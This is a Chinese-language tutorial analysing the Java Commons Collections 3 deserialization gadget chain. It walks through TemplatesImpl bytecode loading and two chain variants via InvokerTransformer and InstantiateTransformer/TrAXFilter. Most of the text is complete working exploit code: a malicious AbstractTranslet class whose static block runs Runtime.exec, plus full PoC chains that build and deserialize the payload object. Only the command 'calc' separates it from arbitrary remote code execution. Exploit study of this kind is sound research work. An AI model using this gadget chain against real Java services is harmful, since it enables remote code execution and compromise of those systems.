Java反序列化-Commons Collections3利用链分析 思路一 首先是通过ClassLoader类,找到可以loaderclass执行我们代码函数
由loadClass进行加载
返回下一个loadClass
最后会走到defineClass,这里是从字节里加载一个类
查找谁调用了defineClass函数,查找有没有public的方法调用了defineClass
可以看到这边有个default权限的方法
defineClass我们再查找下调用链
我们找到了三个方法,我们可以进去看下,每个的返回结果
分析了下第一个是返回class,第二个返回下标,第三个我们可以看到,def给class赋完值,后执行了newInstance
通过loader.defineClass来将_class赋值的
我们再找下这个的调用链
我们调用TemplatesImpl的newTransformer(),就会调它的getTransletInstance()
这里的构造方法是为空,所以值我们是需要自己去赋的
我们看下要走进class赋值需要哪些参数,_name不能为空,这样能进入defineTransletClasses(),使得对_class进行赋值
defineTransletClasses
需要传入_bytecodes为空
这里判断了_bytecodes的数量,再去for循环一个个defineClass,所以这个我们只要传入一个数组的_bytecodes即可
我们将值都用反射进行传入
public  static  void  main (String[] args)  throws  Exception  {         TemplatesImpl templates = new  TemplatesImpl();         Class tc = templates.getClass();                  Field nameField = tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"aaaa" );                  Field bytecodesField = tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );         byte [] code  = Files.readAllBytes(Paths.get("E://tmp/calc.class" ));         byte [][] codes = {code};         bytecodesField.set(templates,codes);         templates.newTransformer();     }
 
发生报错
我们通过调试defineTransletClasses,发现_auxClasses为null,如果走到下面_transletIndex也过不去,所以我们只能走到if为true,使得_transletIndex赋值
我们就看下他的条件,获取的是父类判断是否是ABSTRACT_TRANSLET
所以说我们传入的class需要继承父类,并且实现它的方法编译下
package  ysoserial.test;import  java.io.IOException;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;public  class  calc  extends  AbstractTranslet  {     static  {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             e.printStackTrace();         }     }     public  static  void  main (String[] args)   {     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException  {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException  {     } }
 
尝试运行下payload,成功弹出计算器,所以说我们只要调用到了newTransformer就可以执行代码
public  static  void  main (String[] args)  throws  Exception  {         TemplatesImpl templates = new  TemplatesImpl();         Class tc = templates.getClass();                  Field nameField = tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"aaaa" );                  Field bytecodesField = tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );                  byte [] code  = Files.readAllBytes(Paths.get("E://tmp/calc.class" ));         byte [][] codes = {code};         bytecodesField.set(templates,codes);                  templates.newTransformer();     }
 
之后我们可以用cc1的前面的代码,伪造newTransformer()
public  static  void  main (String[] args)  throws  Exception  {         TemplatesImpl templates = new  TemplatesImpl();         Class tc = templates.getClass();                  Field nameField = tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"aaaa" );                  Field bytecodesField = tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );                  byte [] code  = Files.readAllBytes(Paths.get("E://tmp/calc.class" ));         byte [][] codes = {code};         bytecodesField.set(templates,codes);         Transformer[] transformers = new  Transformer[]{             new  ConstantTransformer(templates),             new  InvokerTransformer("newTransformer" , null , null ),         };         ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);         chainedTransformer.transform(1 );     }
 
之后我们直接使用CC1的后半段即可
POC package  ysoserial.test;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  java.io.*;import  java.lang.annotation.Target;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  com.sun.org.apache.xml.internal.security.utils.Base64;import  org.apache.commons.collections.map.TransformedMap;import  javax.xml.transform.Templates;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  Test3   {     public  static  void  main (String[] args)  throws  Exception  {         TemplatesImpl templates = new  TemplatesImpl();         Class tc = templates.getClass();                  Field nameField = tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"aaaa" );                  Field bytecodesField = tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );                  byte [] code  = Files.readAllBytes(Paths.get("E://tmp/calc.class" ));         byte [][] codes = {code};         bytecodesField.set(templates,codes);         Transformer[] transformers = new  Transformer[]{             new  ConstantTransformer(templates),             new  InvokerTransformer("newTransformer" , null , null ),         };         ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);         HashMap<Object, Object> map = new  HashMap();                  Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer   );         Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);         annotationInvocationHadlConstructor.setAccessible(true );         InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap);         Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new  Class[]{Map.class},h);         Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy);         serialize(o);         unserialize();     }          public  static  void  serialize (Object o)  throws  IOException  {                  ObjectOutputStream oo = new  ObjectOutputStream(new  FileOutputStream(new  File("ser.bin" )));         oo.writeObject(o);     }     public  static  Object unserialize ()  throws  IOException, ClassNotFoundException  {         ObjectInputStream ois = new  ObjectInputStream(new  FileInputStream(             new  File("ser.bin" )));         Object object = (Object) ois.readObject();         System.out.println("反序列化成功!" );         return  object;     } }
 
思路二 我们查找谁调用了newTransformer
可惜没有继承Serializable,否则下面构造函数是传入一个templates参数
我们可以使用其他的transform方法来调用构造函数,这里是使用InstantiateTransformer来构造,正好符合我们的要求
这个方法的构造函数
我们结合着TrAXFilter构造函数,参数是一个Templates
InstantiateTransformer instantiateTransformer = new  InstantiateTransformer(new  Class[]{Templates.class}, new  Object[]{templates});         instantiateTransformer.transform(TrAXFilter.class); 
 
因为要传入TrAXFilter,要执行他的transform,这边xxx.transform,xxx是我们无法控的
Transformer[] transformers = new  Transformer[]{             new  ConstantTransformer(TrAXFilter.class),             new  InstantiateTransformer(new  Class[]{Templates.class}, new  Object[]{templates})         };
 
这样我们就改好为InstantiateTransformer.transform()来调用到TrAXFilter构造方法,调用到templates.newTransformer()
POC 获取到最终POC
package  ysoserial.test;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  java.io.*;import  java.lang.annotation.Target;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  com.sun.org.apache.xml.internal.security.utils.Base64;import  org.apache.commons.collections.map.TransformedMap;import  javax.xml.transform.Templates;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  Test3   {     public  static  void  main (String[] args)  throws  Exception  {         TemplatesImpl templates = new  TemplatesImpl();         Class tc = templates.getClass();                  Field nameField = tc.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"aaaa" );                  Field bytecodesField = tc.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );                  byte [] code  = Files.readAllBytes(Paths.get("E://tmp/calc.class" ));         byte [][] codes = {code};         bytecodesField.set(templates,codes);         Transformer[] transformers = new  Transformer[]{             new  ConstantTransformer(TrAXFilter.class),             new  InstantiateTransformer(new  Class[]{Templates.class}, new  Object[]{templates})         };         ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);         HashMap<Object, Object> map = new  HashMap();                  Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);         Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);         annotationInvocationHadlConstructor.setAccessible(true );         InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap);         Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new  Class[]{Map.class},h);         Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy);         unserialize();     }          public  static  void  serialize (Object o)  throws  IOException  {                  ObjectOutputStream oo = new  ObjectOutputStream(new  FileOutputStream(new  File("ser.bin" )));         oo.writeObject(o);     }     public  static  Object unserialize ()  throws  IOException, ClassNotFoundException  {         ObjectInputStream ois = new  ObjectInputStream(new  FileInputStream(             new  File("ser.bin" )));         Object object = (Object) ois.readObject();         System.out.println("反序列化成功!" );         return  object;     } }